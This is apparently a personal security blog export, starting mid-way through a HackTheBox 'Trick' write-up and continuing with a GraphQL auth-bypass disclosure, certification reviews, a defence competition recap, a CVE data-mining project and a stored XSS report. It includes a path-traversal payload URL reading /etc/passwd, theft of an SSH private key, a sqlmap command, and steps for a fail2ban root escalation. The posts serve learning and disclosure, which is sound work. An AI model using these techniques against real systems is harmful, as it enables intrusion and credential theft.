Stored XSS

but we needed more than that, we need a way to get RCE on the system. I was not finding much on the dashboard so I started up feroxbuster and let it run for a minute while I explored the site further. When I came back to view the current results it had found some interesting files that I should checkout. The first was users.php. On this page we were able to see the username of the administrator account, good to note as it could be reused elsewhere. Along with that we can see in the page source that there is an endpoint named `manage_user.php` that takes a url argument of `id`.

The users.php page and the source showing the manage_user.php endpoint

I went to Burp and tried to hit this endpoint in repeater to see in detail what happened. For the ID argument I provided '1' because from the users.php page we can see that is associated with the administrator account.

The response from the manage_user.php endpoint

We can see in the response that it actually contains what seems to be the password for the account, or a really unique placeholder. Now that I had a password and username I tried to login via SSH but... nothing :(. This prompted me to continue looking around the site for more information or attack paths. I really got stuck here until after alot of searching around I decided to run some more recon via bruteforce. #### Side Note So after completing this machine a friend and I talked over it and I realized I had missed something big. Because I had bypassed the login using SQLi I could have gone further and gotten the password out of the database using SQLmap. It was an oversight on my part but we still got there in the end. Now back to the writeup... Because the first subdomain we found was 'preprod-payroll' I figured to try searching for common subdomains with 'preprod-' appended to it. For this I used ffuf and actually got a hit back rather quick for 'preprod-marketing'.

Using ffuf to find subdomains with 'preprod-' appended

I immediately went and added this subdomain to my /etc/hosts file so that I could view it in my browser. This site, once loaded, was using a argument for page that would render the file being passed. This was an immediate red flag for me and I went and bruteforced it with payloads from an LFI wordlist and eventually got a hit with: ``` http://preprod-marketing.trick.htb/index.php?page=....//....//....//etc/passwd ``` We now had a path traversal vulnerability! From reading the contents of /etc/passwd we could see there is a user named 'michael' and their home directory is at the default /home/michael/. From here I went ahead and checked if there was an ssh private key I could access for this account, and there was! Located at '/home/michael/.ssh/id\_rsa'. We now could login as michael via SSH!

Shell as michael via SSH using id_rsa

From here we can have a look around. One of the first things to do when checking for a privilege escalation is to run `sudo -l`. When running this on the trick machine we can see that we can run `/etc/init.d/fail2ban restart` with NOPASSWD. Interesting... This is a tool that a lot of defenders use and why would restarting it be the cause of a priv esc. I had to look further. After a little googling around I found [this article](https://youssef-ichioui.medium.com/abusing-fail2ban-misconfiguration-to-escalate-privileges-on-linux-826ad0cdafb7) which showed how we could abuse fail2ban configurations to privilege escalate. Now this is why we are allowed to restart it as root. You need to restart fail2ban for the configuration changes to take effect. One of the techniques mentioned in the article I linked is to change what the action performed when banning an IP address is. We can do this because we have write access to the directory '/etc/fail2ban/action.d/' and in this directory we can change the file '/etc/fail2ban/action.d/iptables-multiport.conf' to execute a reverse shell when it goes to "ban" and IP address.

Setting the actionban to a reverse shell back to myself

Now with the action set I could restart fail2ban and fail three login attempts and I should get a reverse shell back as root, because fail2ban is running as root. After setting up a listener with pwncat-cs and bruteforcing the login with hydra I got a shell back!

Getting shell back as root (Top right)

root shell!

PWNED!!! # GraphQL Query Authentication Bypass Vuln Bypassing GraphQL query authentication using a new technique ![](/files/VhkQ7c3Srh7FBjouG9z4) These past few weeks I have been looking around a lot of sites for vulnerability research, as many of us do, and I kept coming across GraphQL endpoints. These endpoints, in most cases required authentication and when you tried to do something in the schema it would say unauthorized, like this: ![](/files/YRlbxaCd92hMFfRq5SJ3) So its secure right? We can't run anything we shouldn't be able to right? Well that's what I though when I looked them over but when I looked around one last site with a similar endpoint to the rest I noticed that the "Forgot Password" feature was interacting with the GraphQL endpoint for the site. In other words, it was successfully able to query the endpoint when I wasn't. So why was that? If we go and look at the query we can see that it has a few fields: ![](/files/AIuQfTX0KL58WF7K7NRN) The first is the operationName, for this its forgotPassword, then we have the variables and the query, just like normal GraphQL. There seems to be a security feature in place though so when you send a different query than the operation is intended for it will give you an unauthorized error. Ok thats smart, what if we try to change the operation name to other tasks...same errors. Ok lets try one last thing, lets let the query that is supposed to happen run and then lets add a second one to the end and see if it executes... If you read through the above image you will see that I added a variable called "test" for the data I wanted to send it for creating a user on the site, along with adding the register mutation to the end of the forgotPassword mutation in the query field. This resulted in what you see on the right. We get an error because the random email I entered was not found but then we also can see the id and JWT of a brand new user, created with the information we provided. I tried logging in and it had worked! **Overall** this vulnerability allows for an unauthenticated user to place variables in a query along with execute commands that include read/write/edit access to the back end of the webserver and can definitely lead to RCE in some cases. Now I have not found anyone else who has identified this type of vulnerability in GraphQL or any back end auth system so I am unsure if this was an auth system made in house or one that a third party provides, which would make this my first CVE, so if anyone has any clue based on the photos provided please reach out to me on LinkedIn or Twitter. # eWPT Certification Review eLearnSecurity Web Application Penetration Tester Certification Review So I bought this voucher because it was Prime day and it was half off, so $200 instead of $400. It just made it more affordable for a student like me. I am in the middle of prepping for the eCPPTv2, also from eLearnSecurity, and so I figured this couldn't hurt. So lets get to the meat of this review. You want to know what me, a somewhat experienced web and API hacker, think of the eWPT exam process. Well it was smooth one. I love they stick with OpenVPN to connect to the environment unlike some other certifying bodies, cough cough... EC-Council. I had two connection drops during my exam process and both were because I was running two gobuster instances simultaneously, I was desperately checking for subdomains. So to start with this exam is a classic black box pentest on the website that your given in the letter of engagement. If you have ever done a web assessment just complete it exactly how you normally would. It is kinda dated, made \~2015, but that's pretty realistic for a lot of sites I have assessed. Because this is an actual assessment you are doing you will have to check everything, and I mean everything. There are a lot of small issues that you won't find if you just try to pwn the website like in a CTF. Also because this is an actual assessment take A LOT of notes and screenshots. This will save you a lot of time writing your report. So because this is a web assessment don't be expecting to pop shells left and right. They have it pretty locked down and so to maneuver is very different than it is when you can grab a reverse shell. You will need to know how the back end works and what pieces work with what. This took a lot of thinking on my part. I expected to be done in one night, and I would have if it was like HackTheBox or TryHackMe but it just isn't. Another problem I had during the exam was doubting myself. There is a set goal you need to accomplish along with the regular assessment and I was sure that I had not accomplished it for two days. It not as straight forward as popping a shell and priv-escing to root. You know you have the highest level privilages and role but is this the right area, could there be another subdomain somewhere, another directory not in my wordlist? No, you will know when you have found that area and when you get the correct roles needed to satisfy the letter of engagement criteria. So for anyone planning on taking the exam here are my tips: * Notes on everything no matter what * Screenshots of each step and vulnerability found * Writeup even the low findings, like out-of-date versions * Know how to use SQLMap, its your friend. ``` sqlmap -r .txt ``` * Learn basics of SQL syntax and PHP Overall I learned a good amount from this exam. Especially with crafting my own payloads to get around obstacles blocking you from the normal route an attacker would take. Its not 100% realistic but it does a good job for what its worth and gives you a nice boost in confidence. # 2022 DOE Cyberforce Competition 2022 Department of Energy Cyberforce Competition Overview This past weekend myself and five other members of the Virginia Tech Corps of Cadets Cyber Team competed in the DOE Cyberforce competition and placed 22nd out of 141 active teams from other schools around the nation. This is a defensive focused competition that allowed our team to gain experience in a large variety of roles, from incident response and security architecture, to audit and policy. This was a great learning opportunity for me as I have been mainly on the red team side of the aisle but now I got to actively respond to an attack. ### Preparation A few weeks out from the competition we got an email containing the rules and expectations for the competition. This told us basically what we needed to do to get the most points. Two parts of the scoring were the C-Suite brief and Security Documentation. Both of these tasks needed to be completed before we left for the competition so we had to start on them right when we got the infrastructure, about three weeks out. The security documentation was the first part we completed and it was relatively straightforward. It involved creating a network diagram as well as listing all machines with what ports were open and what services were running on them. It also wanted a list of all vulnerabilities we could find in each and how we would remediate them. We ended up finding over 45 vulnerabilities which seems to be close to the amount that they were looking for. Now that we had the security documentation done we could use what we learned from doing that research in the C-Suite briefing. The briefing was pretty straight forward and we just outlined the situation, the problems, our solutions to said problems, and a conclusion. Standard high level brief. The final piece of preparation, that came out of the blue, was the website. We received a document that outlined what they wanted from the website, linked below: {% file src="/files/guukmO2dDRvD4oJjN9ZQ" %} I took the role of creating this lovely website. These guidelines wanted a somewhat nice looking website that integrated with an FTP server, an SMTP server, and a MYSQL server. This was two weeks out from the competition and I had class, hw, an exam, and ROTC training so I was thrilled. After some long hours and stressful nights I got it done and the final product is linked below: (ignore the hard coded creds and me using a dev server in production) Now we had everything done we needed right? Wrong! We had to setup logging on each server! I decided the best way to do this quickly would be to use auditd and rsyslog. We created an rsyslog server on our blueteam instance and configured rsyslog on all the Linux machines to direct all logs to it. For our auditd rules we used: . On the Windows machines we used Rsyslog Client to do the same thing. Also on the windows machines we downloaded and setup chainsaw, a powerful tool that parses windows event logs, to hunt on the machine itself. Now that we had all the data flowing in we needed a way to manage it, a SIEM. I settled on a easy to setup and configure tool available on GitHub named LogESP, linked here: . This allowed me to customize some regex rules to handle the auditd logs and help me sort through them better as they came in. Now, looking back, we should have used a program like Splunk (free trial) or RedELK to do all this as they have a lot better data visualization for the large amount of data coming in but we finished setting up LogESP the night before the competition so there wasn't much time. ### During the Competition Now its competition day! We have everything setup and ready to go, our website is working, we have logs flowing in, Wireshark was up and running, all looks well. I get a ping from our red team member asking if I am ready for the first attack chain, I am doing incident response alone as the rest of the team focused on the anomolies (CTF problems). I replied 'yessir' and a few seconds later I see a shell being opened on a machine. The logs are working! I can carefully follow through each binary they touched and what arguments they used as well as suspicious network activity and file reading/writing. This allowed me to track this chain through the Linux machine but when the time was up, we had one hour to respond, I didn't get full points... I had missed the attacker getting into one of the windows machines. I found the problem was there was too much to look through in windows event logs and I needed something simpler to get straight to the point. To solve this I configured the group policy to store powershell transcripts to a log folder we could checkout. This allowed me to see exactly what the attacker was running over WinRM, what they were using to connect. This also saved me time to more methodically look through the event logs chainsaw gave me and find anything else happening. The next few attack chains went a lot smoother and by the last one I had figured everything out and got a perfect score! In the four chains I completed I got a 90, 90, 120, and 150 (all out of 150). Not bad for a red teamer trying to blueteam for the first time. My teammates did great on the anomalies and we placed well. This was our first time so almost top 15% is good in my book. Hope you had an informative read and picked up something new from it! # Data Mining CVEs and Exploits BIT 3434 Research Project - Group 54 For our data mining project in BIT 3434 we needed to find a topic and we wanted something interesting and not readily available online. This is when we decided to pick data mining in cybersecurity in order to answer this primary question: > Though there are many Common Vulnerabilities and Exposures (CVEs) out there, and more coming out each day, how many of them are actually exploitable by most threat actors? To get started with answering this question we need a lot of data. We started by gathering all the CVE data from the [NIST National Vulnerability Database (NVD)](https://nvd.nist.gov/vuln/data-feeds). Each year has its own JSON file, except for years before 2002 but they are included in the 2002 file. Now that we had each CVE we needed a way to search for exploits. My first thought was that I could search Offensive Security's ExploitDB and GitHub for proof of concept (PoC) scripts. This turned out not to be effective though due to issues parsing and searching ExploitDB correctly and GitHub's rate limiting. In order to parse the well over 100,000 CVEs we would need to do it offline to get anything done in a reasonable amount of time. This is when I found that [ExploitDB has a CSV file](https://gitlab.com/exploit-database/exploitdb/-/blob/main/files_exploits.csv) of all the exploits it currently has and most have a tag for the CVE it exploits. This was a game changer for the amount of time that was needed to go through all this data. After doing some math I found I needed around 240 hours of time to parse through all this data with my script. Not too bad, but there was a problem... I had this project due in 120 hours. I had to find a way to drastically improve the speed of my script. In order to do this I realized that the library I was using to write new rows to the xlsx files was opening and reading the entire file and then writing and then writing it all back again with the new row. This was OK for the first 2000 or so rows but after that it got painstakingly slow. To fix this I made it so after 1000 rows written it will create a whole new xlsx file and start writing to that and it will use the naming format of '{year}\_data{number\_of\_files\_for\_this\_year}.xlsx". This worked perfectly and I got the hours down to around 120 needed. To speed this up I split the task between my laptop and PC, having each do half. The script, data, and results I made/used for this research is all in [this GitHub repository](https://github.com/gsmith257-cyber/BIT3434CVE). Now lets look at the results and some other interesting data found! Before we look at the data we "mined" I wanted to showcase some valuable data I found on [cvedetails.com](https://www.cvedetails.com/cvss-score-charts.php?fromform=1\&vendor_id=\&product_id=\&startdate=1999-01-01\&enddate=2022-12-05).

CVEdetails.com report

In these statistics you can see the overall averages for severity (CVSS) scores, as well as the distribution, throughout the time CVEs have been recorded. ### Background on this technique Now there have been ways to search for exploits by CVE and vice-versa for many years but no one has taken this data and looked at it in a big picture way as we have done here. The technique used is straight forward but it had to be customized in alot of ways which is why I created my own script. The main reason for scripting it in python was because of the amount of libraries available for this type of work. I needed to be able to compare data from a JSON file to data from a CSV file and then write new data to an xlsx file. ### Process As I mentioned previously, all data was gathered from Offensive Security's ExploitDB and NIST's NVD. NIST's data is formatted in JSON and so to grab the data on each CVE I used the JSON library in python: ```python cve_id = data["CVE_Items"][i]["cve"]["CVE_data_meta"]["ID"] cve_description = data["CVE_Items"][i]["cve"]["description"]["description_data"][0]["value"] cve_published_date = data["CVE_Items"][i]["publishedDate"] cve_last_modified_date = data["CVE_Items"][i]["lastModifiedDate"] ``` After gathering this data I would search for the cve\_id variable in the tags column of the ExploitDB CSV file: ```python def exploitdb_searching(name): #parse the files_exploits.csv file try: with open('files_exploits.csv', 'rt', encoding='utf-8') as f: reader = csv.reader(f, delimiter=',') for s in reader: if s[11][:13] == name: row = s #get the description from the row description = row[2] #get the date published from the row date = row[3] #get the file from the row file = row[1] #return an array of the description, date, and file #except except Exception as e: description = [] date = [] file = [] return [description, date, file] ``` In this function if it did not find a tag with the CSV ID then it would throw an exception and I would catch that and return empty arrays because nothing was found. If it found a exploit that matched it would write it in the same row as the CVE and if not then it would write "None". #### Statistics Before I reveal the new data I want to share some statistics about my experience parsing this data: * Total hours processing data: 128 * Computers Used: 2 * Rows written (before cleanup): 185,023 * CVEs Processed: 175,026 ### Results Now, to the new data. With our main question being "Though there are many CVEs out there, and more coming out each day, how many of them are actually exploitable by most threat actors?" We got this answer as a result: ``` Percentage of CVEs that have public exploits: 7.591% ``` Now this was shockingly low. I had expected there to be at least 20% of CVEs. This just goes to show that despite the massive amount of CVEs that are published each year most attackers are only exploiting 7.6% of them. > ...despite the massive amount of CVEs that are published each year most attackers are only exploiting 7.6% of them. Our next interesting find was that the severity of each CVE is trending upwards, which can be seen in this graph and trend line:

Data on CVE CVSS Score by year

We also gathered how many exploits were posted by year and here is the graph for this data:

Exploits published by year on ExploitDB

All this data/script/results can be found on [my GitHub here](https://github.com/gsmith257-cyber/BIT3434CVE). The final sheet with all the data is in the results folder and is named 'allData.xlsx'. ### Why is this data valuable to business? Many medium to large companies that have a mature security posture have threat intelligence employees or teams. These teams have to search through large amounts of data on the newest CVEs and what threat actors are doing. Having hard data to show that they need to focus on CVEs that can actually be exploitable, the vast minority of CVEs, allows them to justify not tracking each new vulnerability out there until an exploit or suspicion of exploitation comes out. This data can also be used to track trends in exploits and, if further dug into, can be used to identify what types of devices are being exploited more commonly and how. These trends can be helpful for companies during table top exercises as well as real world defending and threat intelligence. ### Summary So why was this research important? As we get flooded with new, amazing CVEs that can gain remote code execution (RCE) on all these different systems and services, it is important to take a step back and look at the reality of how much is actually used in common attacks. We provide this data with our research here and it can be used by researchers to look for their own trends or build on their own datasets. It is also my firm belief that as we get more reliant on technology the more vulnerable we are to it breaking. While correlation is not causation it is notable that the severity of CVEs continues trending upwards. ### Sources: {% embed url="" %} {% embed url="" %} # eCPPTv2 Certification Review eLearnSecurity Certified Professional Penetration Tester Review
I received my eCPPTv2 Certification in December 2022, right after finishing my final exams. I figured taking it during finals week would just be like taking another exam (another, more fun, exam). The exam started like most practical exams, with setting up a VPN connection via OpenVPN. Once on, it was like a real world network. You had to find an initial entry to the DMZ (not really one but its on the edge) and then pivot throughout a corporate network. I cannot emphasize how important it is to learn and practice pivoting. You should be able to pivot or port forward with native Linux and Windows tools, as well as other tools. I used Chisel for pivoting but also some native executables to port forward shells and such, netsh is a great one to know for Windows. There is also a buffer overflow portion. It is similar to OSCP and you shouldn't struggle with it if you complete these TryHackMe rooms: Brainpan 1 and Buffer Overflow Prep Overall, this was a great exam, some parts were outdated but you learn a good amount and it really could help show an employer you know pentester basics and have networking down. It is also a great stepping stone to OSCP, if your looking for a confidence booster and learning opportunity. # Breaking GraphQL Presentation AvengerCON VII Presentation on Breaking GraphQL {% embed url="" %} # Springshare LibApps Stored XSS Springshare LibApps authenticated Stored XSS in discussions.php When conducting a test for a Bug Bounty program that I like I was testing a SaaS app from Springshare that was in scope. When doing my standard test for XSS in a discussion page it offered I got a hit. It had no filter or WAF so it was as simple as putting: ``` ``` This payload worked in both the body of the discussion post as well as the title and was executed whenever someone visited the discussion page, as it is a stored XSS. See photo evidence here:
This has been submitted to Springshare and has also been reported to MITRE for a CVE identifier. This software is used by over a thousand libraries around the world and could severely impact them if exploited by a threat actor, which could be anyone with how easy it is. Anyone with an account at the library could exploit this.